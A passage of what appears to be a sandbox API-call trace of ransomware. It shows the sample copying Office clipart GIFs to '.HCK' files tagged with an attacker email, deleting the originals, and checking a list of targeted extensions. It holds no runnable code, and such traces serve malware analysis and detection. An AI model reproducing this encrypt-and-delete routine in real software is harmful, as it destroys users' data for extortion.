Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0153.368] GetLastError () returned 0x0 [0153.368] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0153.719] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0153.720] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.720] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.720] SetEndOfFile (hFile=0x2e8) returned 1 [0153.720] CloseHandle (hObject=0x2e8) returned 1 [0153.721] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.721] SetEndOfFile (hFile=0x37c) returned 1 [0153.722] CloseHandle (hObject=0x37c) returned 1 [0153.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.763] lstrlenW (lpString=".doc") returned 4 [0153.763] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.763] lstrlenW (lpString=".docx") returned 5 [0153.763] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.763] lstrlenW (lpString=".pdf") returned 4 [0153.766] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.766] lstrlenW (lpString=".xls") returned 4 [0153.766] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.766] lstrlenW (lpString=".xlsx") returned 5 [0153.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.769] lstrlenW (lpString=".ppt") returned 4 [0153.769] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.771] lstrlenW (lpString=".zip") returned 4 [0153.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.771] lstrlenW (lpString=".rar") returned 4 [0153.774] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.774] lstrlenW (lpString=".bz2") returned 4 [0153.774] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.774] lstrlenW (lpString=".7z") returned 3 [0153.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.777] lstrlenW (lpString=".dbf") returned 4 [0153.777] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.779] lstrlenW (lpString=".1cd") returned 4 [0153.779] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.779] lstrlenW (lpString=".jpg") returned 4 [0153.782] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.785] lstrlenW (lpString=".doc") returned 4 [0153.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.785] lstrlenW (lpString=".docx") returned 5 [0153.785] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.787] lstrlenW (lpString=".pdf") returned 4 [0153.787] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.787] lstrlenW (lpString=".xls") returned 4 [0153.787] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.790] lstrlenW (lpString=".xlsx") returned 5 [0153.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.790] lstrlenW (lpString=".ppt") returned 4 [0153.790] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.790] lstrlenW (lpString=".zip") returned 4 [0153.790] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.791] lstrlenW (lpString=".rar") returned 4 [0153.791] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.791] lstrlenW (lpString=".bz2") returned 4 [0153.791] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.791] lstrlenW (lpString=".7z") returned 3 [0153.791] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.791] lstrlenW (lpString=".dbf") returned 4 [0153.791] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.791] lstrlenW (lpString=".1cd") returned 4 [0153.791] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0153.791] lstrlenW (lpString=".jpg") returned 4 [0153.791] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.791] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.791] lstrlenW (lpString="AG00170_.GIF") returned 12 [0153.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0153.791] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9248) returned 1 [0153.791] CloseHandle (hObject=0x364) returned 1 [0153.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0153.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.793] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.794] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.293] GetLastError () returned 0x0 [0154.293] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2420, lpOverlapped=0x0) returned 1 [0154.296] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2430, lpOverlapped=0x0) returned 1 [0154.297] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.297] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.297] SetEndOfFile (hFile=0x30c) returned 1 [0154.297] CloseHandle (hObject=0x30c) returned 1 [0154.298] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.298] SetEndOfFile (hFile=0x380) returned 1 [0154.298] CloseHandle (hObject=0x380) returned 1 [0154.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString=".doc") returned 4 [0154.318] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.318] lstrlenW (lpString=".docx") returned 5 [0154.318] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.318] lstrlenW (lpString=".pdf") returned 4 [0154.318] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.318] lstrlenW (lpString=".xls") returned 4 [0154.318] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.318] lstrlenW (lpString=".xlsx") returned 5 [0154.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.318] lstrlenW (lpString=".ppt") returned 4 [0154.318] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString=".zip") returned 4 [0154.318] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.318] lstrlenW (lpString=".rar") returned 4 [0154.318] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.318] lstrlenW (lpString=".bz2") returned 4 [0154.318] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.318] lstrlenW (lpString=".7z") returned 3 [0154.318] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString=".dbf") returned 4 [0154.318] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString=".1cd") returned 4 [0154.318] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString=".jpg") returned 4 [0154.318] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.318] lstrlenW (lpString=".doc") returned 4 [0154.318] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.319] lstrlenW (lpString=".docx") returned 5 [0154.319] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.319] lstrlenW (lpString=".pdf") returned 4 [0154.319] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.319] lstrlenW (lpString=".xls") returned 4 [0154.319] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.319] lstrlenW (lpString=".xlsx") returned 5 [0154.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.319] lstrlenW (lpString=".ppt") returned 4 [0154.319] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.319] lstrlenW (lpString=".zip") returned 4 [0154.319] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.319] lstrlenW (lpString=".rar") returned 4 [0154.319] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.319] lstrlenW (lpString=".bz2") returned 4 [0154.319] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.319] lstrlenW (lpString=".7z") returned 3 [0154.319] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.319] lstrlenW (lpString=".dbf") returned 4 [0154.319] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.319] lstrlenW (lpString=".1cd") returned 4 [0154.319] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0154.319] lstrlenW (lpString=".jpg") returned 4 [0154.319] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.319] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0154.319] lstrlenW (lpString="AG00171_.GIF") returned 12 [0154.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.319] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5016) returned 1 [0154.319] CloseHandle (hObject=0x380) returned 1 [0154.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0154.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.320] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.320] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.320] GetLastError () returned 0x0 [0154.320] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1398, lpOverlapped=0x0) returned 1 [0154.322] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0154.323] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.323] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.323] SetEndOfFile (hFile=0x30c) returned 1 [0154.323] CloseHandle (hObject=0x30c) returned 1 [0154.324] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.324] SetEndOfFile (hFile=0x380) returned 1 [0154.325] CloseHandle (hObject=0x380) returned 1 [0154.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0154.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.325] lstrlenW (lpString=".doc") returned 4 [0154.325] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.325] lstrlenW (lpString=".docx") returned 5 [0154.325] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.325] lstrlenW (lpString=".pdf") returned 4 [0154.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".xls") returned 4 [0154.326] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".xlsx") returned 5 [0154.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.326] lstrlenW (lpString=".ppt") returned 4 [0154.326] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".zip") returned 4 [0154.326] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".rar") returned 4 [0154.326] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".bz2") returned 4 [0154.326] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString=".7z") returned 3 [0154.326] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".dbf") returned 4 [0154.326] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".1cd") returned 4 [0154.326] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".jpg") returned 4 [0154.326] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".doc") returned 4 [0154.326] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString=".docx") returned 5 [0154.326] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.326] lstrlenW (lpString=".pdf") returned 4 [0154.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".xls") returned 4 [0154.326] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".xlsx") returned 5 [0154.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.326] lstrlenW (lpString=".ppt") returned 4 [0154.326] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".zip") returned 4 [0154.326] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".rar") returned 4 [0154.326] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.326] lstrlenW (lpString=".bz2") returned 4 [0154.326] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString=".7z") returned 3 [0154.326] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".dbf") returned 4 [0154.326] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.326] lstrlenW (lpString=".1cd") returned 4 [0154.326] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0154.327] lstrlenW (lpString=".jpg") returned 4 [0154.327] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.327] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0154.327] lstrlenW (lpString="AG00172_.GIF") returned 12 [0154.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.327] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4390) returned 1 [0154.327] CloseHandle (hObject=0x380) returned 1 [0154.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0154.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.327] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.327] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.327] GetLastError () returned 0x0 [0154.328] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, 